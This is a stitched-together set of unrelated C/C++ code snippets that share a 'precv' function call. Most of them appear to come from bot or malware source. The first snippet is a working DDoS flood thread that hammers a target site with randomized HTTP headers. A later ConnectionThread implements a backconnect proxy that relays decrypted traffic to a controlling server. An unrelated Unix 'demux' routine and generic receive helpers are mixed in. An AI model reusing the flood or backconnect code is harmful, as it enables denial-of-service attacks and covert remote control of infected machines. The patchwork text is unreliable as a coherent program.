// Функция выполнения многократного подключения к испытуемому сайту DWORD WINAPI DDOSThreadProc(TDDOS *DDOS) { TMemory Buf(1024); TMemory Referer(256); DWORD SleepInterval = (DDOS->AttemptsPerSecond) ? (1000 / DDOS->AttemptsPerSecond) : 100; while (!DDOS->FTerminated) { // Создаём сокет SOCKET Socket = (SOCKET)psocket(AF_INET, SOCK_STREAM, 0); if(Socket != SOCKET_ERROR) { // Подключаемся к серверу struct sockaddr_in SockAddr; SockAddr.sin_family = AF_INET; SockAddr.sin_addr.s_addr = **(unsigned long**)DDOS->FHostAddres->h_addr_list; SockAddr.sin_port = HTONS((unsigned short)DDOS->FRequest.Port); // подключаемся к сокету if ( (int)pconnect(Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) != SOCKET_ERROR ) { // Генерируем данные PCHAR UserAgent = DDOS->GetRandomString(UserAgents, DDOS->FUserAgentsCount); string RefererHost = Random::RandomString2(Random::Generate(5, 10), 'a', 'z'); DDOS->MakeString(Referer.AsStr(), "http://%s.%s/", RefererHost.t_str(), DDOS->GetRandomString(Domains, DDOS->FDomainsCount)); int Size = DDOS->MakeString(Buf.AsStr(), DDOS->FSendData.t_str(), UserAgent, Referer.AsStr()); int Sended = (int)psend(Socket, Buf.AsStr(), Size, 0); // Для увеличения нагрузки на сервер пытаемся получить от сервера ответ if (Sended == Size) { Size = (int)precv(Socket, Buf.Buf(), 1024, 0); } } pclosesocket(Socket); } // Ждём до следующей отправки if (!DDOS->FTerminated) pSleep(SleepInterval); } pInterlockedDecrement(&DDOS->FThreadsCount); return 0; }
demux(){ #define demux Vdemux int count = 6; unsigned char c, temp; while(!rebootflag) { while(hostops->rcvq->c_cc==0) sw(0); /* nothing for us to do */ if (!ENCODE_ENABLE) precv((char)qgetc(hostops->rcvq)); /* read packet */ else if ((c = (char)qgetc(hostops->rcvq)) == -1) precv((char) c); else if ((c & 0xe0) == 0x20 || (count+=2) == 8) { count = 0; temp = c; } else precv((char)((c & 0x3f) | ((temp << count) & 0xc0))); } nap(60); /* let output queue drain */ reboot(); }
bool NetRecv( SOCKET Socket, char *Buffer, DWORD dwBufferLen ) { int r = 0; while ( dwBufferLen > 0 ) { if ( ( r = (int)precv( Socket, Buffer, dwBufferLen, 0 ) ) == SOCKET_ERROR ) { return false; } if ( !r ) { return false; } Buffer += r; dwBufferLen -= r; } return true; }
DWORD NetRecvUntilDisconn( SOCKET Socket, char *Buffer, DWORD dwBufferLen ) { int r = 0; DWORD BufferLenCp = dwBufferLen; while ( dwBufferLen > 0 ) { if ( ( r = (int)precv( Socket, Buffer, (int)dwBufferLen, 0 ) ) == SOCKET_ERROR ) { return 0; } if ( !r ) { return BufferLenCp - dwBufferLen; } Buffer += r; dwBufferLen -= r; } return BufferLenCp - dwBufferLen; }
DWORD WINAPI ConnectionThread( LPVOID lpData ) { int bid = (int)lpData; ThreadConnection Conn; pWaitForSingleObject( hThreadMutex, INFINITE ); int k = FindConn( bid ); if ( k != -1 ) { Conn = Connections[ k ]; } pReleaseMutex(hThreadMutex); if ( k != -1 ) { if ( Conn.thread_s != INVALID_SOCKET ) { pWaitForSingleObject( hThreadMutex, INFINITE ); k = FindConn( bid ); if ( k != -1 ) { Connections[ k ].thread_s = Conn.thread_s; } pReleaseMutex( hThreadMutex ); pWaitForSingleObject( hSockMutex, INFINITE ); SendStatus( Conn.s, bid, Conn.cid, TRUE ); pReleaseMutex( hSockMutex ); char data[1024]; while ( 1 ) { int r = (int)precv( Conn.thread_s, data, 1024, 0 ); if ( r == 0 || r == SOCKET_ERROR ) { pWaitForSingleObject( hSockMutex, INFINITE ); TPkt tPacket; tPacket.dwLen = 0; tPacket.QType = 0x77; tPacket.dwReserved = bid; NetSend( Conn.s, (char*)&tPacket, sizeof( tPacket ) ); pReleaseMutex( hSockMutex ); break; } pWaitForSingleObject( hSockMutex, INFINITE ); TPkt tPacket; tPacket.dwLen = r; tPacket.QType = 0x73; tPacket.dwReserved = bid; NetSend( Conn.s, (char*)&tPacket, sizeof( tPacket ) ); BcDecrypt( data, r ); if ( !NetSend( Conn.s, data, r ) ) { pReleaseMutex( hSockMutex ); break; } pReleaseMutex( hSockMutex ); } } else { SendStatus( Conn.s, bid, Conn.cid, FALSE ); } } DisconnBid( bid ); return 0; }
char *RecvAndParse( SOCKET Socket, LPDWORD dwRecved ) { DWORD dwLen = 0; char *Buffer = NULL; int Bytes = 0; char *TempBuffer = (char*)MemAlloc( 1024 ); if ( TempBuffer == NULL ) { return NULL; } while ( ( Bytes = (int)precv( Socket, TempBuffer, 1024, 0 ) ) != 0 ) { if ( Bytes == -1 ) { break; } if ( Buffer == NULL ) { Buffer = (char*)MemAlloc( Bytes + 1 ); if ( Buffer == NULL ) { return NULL; } } else { char *p = (char*)MemRealloc( Buffer, dwLen + Bytes + 1 ); if ( p == NULL ) { return NULL; } Buffer = p; } m_memcpy( Buffer + dwLen, TempBuffer, Bytes ); dwLen += Bytes; } MemFree( TempBuffer ); if ( dwLen > 0 ) { DWORD Offset = 0; for ( DWORD i = 0; i < dwLen; i++ ) { if ( Buffer[i] == '\r' && Buffer[i + 1] == '\n' && Buffer[i + 2] == '\r' && Buffer[i + 3] == '\n' ) { Offset = i + 4; break; } } if ( Offset > 0 ) { Buffer += Offset; dwLen -= Offset; *dwRecved = dwLen; return Buffer; } } MemFree( Buffer ); return NULL; }